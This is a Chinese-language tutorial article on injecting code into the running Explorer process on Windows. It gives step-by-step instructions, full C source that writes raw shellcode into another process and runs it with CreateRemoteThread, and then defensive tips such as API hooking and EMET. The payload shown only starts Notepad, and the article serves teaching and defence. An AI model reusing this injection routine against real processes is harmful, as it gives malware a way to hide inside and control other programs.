代码注入






4.91/5 (12投票s)
本程序将演示将代码注入到已运行进程中的过程。 这里我们选择注入到资源管理器 (Explorer) 中。
引言
我们将看到将代码注入到已运行进程中涉及的不同步骤。
以下是注入过程的快速步骤。
- 获取你将从注入代码中调用的 API 地址。
- 准备你想从注入进程中执行的函数的 shell 代码。
- 通过枚举进程列表或通过类名或标题查找进程窗口(如果是 GUI 应用程序),来获取要注入的运行进程的进程 ID。
- 使用其 PID 和所有访问权限打开进程。
- 在你将要注入的进程中分配不同的内存空间,并具有所需的访问权限,以保存 shell 代码的不同段。
- 代码部分(可执行指令)
- 数据部分(字符串、函数参数等)
- 使用各自的值(代码和数据)写入分配的内存。
- 调用
CreateRemoteThread
API 并将其传递到分配的内存地址的开头,你已从我们正在注入的进程中写入你的 shell 代码。
代码
/*
Application: Code Injection in Explorer
Author: @_RT
Compiled on: Feb 2014
*/
#include <windows.h>
#pragma comment(lib,"user32.lib")
LPVOID addr;
LPVOID addr2;
BOOL InjectExecutable(DWORD dwPid,LPVOID si,LPVOID pi,int sisize,int pisize)
{
LPVOID hNewModule;
HANDLE hProcess;
CHAR S[] = { "C:\\Windows\\notepad.exe" };
BYTE byt[] = {0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x01, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x68};
BYTE byt2[] = {0xE8};
BYTE byt3[] = {0x68};
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return FALSE;
}
LPVOID staddr = VirtualAllocEx(hProcess, NULL, sizeof(S), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, staddr, S, sizeof(S), NULL);
LPVOID fnaddr = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, fnaddr, si, sisize, NULL);
LPVOID fnaddr2 = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, fnaddr2, pi, pisize, NULL);
hNewModule = VirtualAllocEx(hProcess, NULL, 100, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (hNewModule == NULL)
{
return FALSE;
}
LPTHREAD_START_ROUTINE strtaddr = (LPTHREAD_START_ROUTINE)hNewModule;
WriteProcessMemory(hProcess, hNewModule, byt3, sizeof(byt3), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(byt3));
WriteProcessMemory(hProcess, hNewModule, &fnaddr, sizeof(fnaddr), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(fnaddr));
WriteProcessMemory(hProcess, hNewModule, byt3, sizeof(byt3), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(byt3));
WriteProcessMemory(hProcess, hNewModule, &fnaddr2, sizeof(fnaddr2), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(fnaddr2));
WriteProcessMemory(hProcess, hNewModule, byt, sizeof(byt), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(byt));
WriteProcessMemory(hProcess, hNewModule, &staddr, sizeof(staddr), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(staddr));
WriteProcessMemory(hProcess, hNewModule, byt2, sizeof(byt2), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(byt2));
addr = (LPVOID)((int)addr - ((int)hNewModule + 4));
WriteProcessMemory(hProcess, hNewModule, &addr, sizeof(addr), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(addr));
WriteProcessMemory(hProcess, hNewModule, byt, 2, NULL);
hNewModule = (LPVOID)((int)hNewModule + 2);
WriteProcessMemory(hProcess, hNewModule, byt2, sizeof(byt2), NULL);
hNewModule = (LPVOID)((int)hNewModule + sizeof(byt2));
addr2 = (LPVOID)((int)addr2 - ((int)hNewModule + 4));
WriteProcessMemory(hProcess, hNewModule, &addr2, sizeof(addr2), NULL);
CreateRemoteThread(hProcess, 0, 0, strtaddr, NULL, 0, NULL);
return TRUE;
}
void main()
{
_STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
DWORD dwPid;
HMODULE ldlib = LoadLibraryA("Kernel32.dll");
addr = GetProcAddress(ldlib, "CreateProcessA");
addr2 = GetProcAddress(ldlib, "ExitThread");
GetWindowThreadProcessId(FindWindow(NULL, L"Start Menu"), &dwPid);
InjectExecutable(dwPid,&si,&pi,sizeof(si),sizeof(pi));
}
以下列表显示了另一种代码注入方法,该方法不包含任何硬编码字节,可用于 32 位和 64 位版本。
如何防止代码注入
使用标准的编程规则很难阻止代码注入。 阻止它需要黑客的视角,你必须钩取一些 API 来监控你的进程是否有任何外部代码。尽管 Windows 实施了许多安全措施来阻止此类技术,例如 DEP(数据执行保护)ASLR,但它们对上述代码的情况帮助不大。
要阻止我的程序中显示的上述类型的代码注入以及“DLL 注入”类型,以下是一些提示。
钩取 VirtualAllocEx
API 用于在所需的进程中获取内存空间,并且在每次调用此 API 时,你的钩取代码将验证此 API 的进程句柄是否引用你的进程,如果是,则阻止此调用并返回。
钩取 LoadLibrary
在你的钩子中,你对照你已知属于该进程且可能被加载的 DLL 名称列表进行检查,或者你可以对照你不想加载的已知 DLL 列表进行检查。
当你找到一个你不想加载的 DLL 时,SetLastError(ERROR_ACCESS_DENIED)
然后返回 NULL
。 我设置了最后一个错误,以便编写代码寻找错误代码的人得到一个错误代码。 这似乎有效,或许不同的代码可能更合适。
这将阻止 DLL 加载。
此外,监控 CreateRemoteThread
API 可以帮助你防御应用程序免受注入。
此外,我建议你浏览下面列出的文章,该文章展示了不同的注入方法,然后你可以在稍作修改后开发自己的解决方案来防止它们。
*重要提示:安装 EMET 将非常有用于缓解许多此类攻击技术。
从 Microsoft 免费下载 EMET。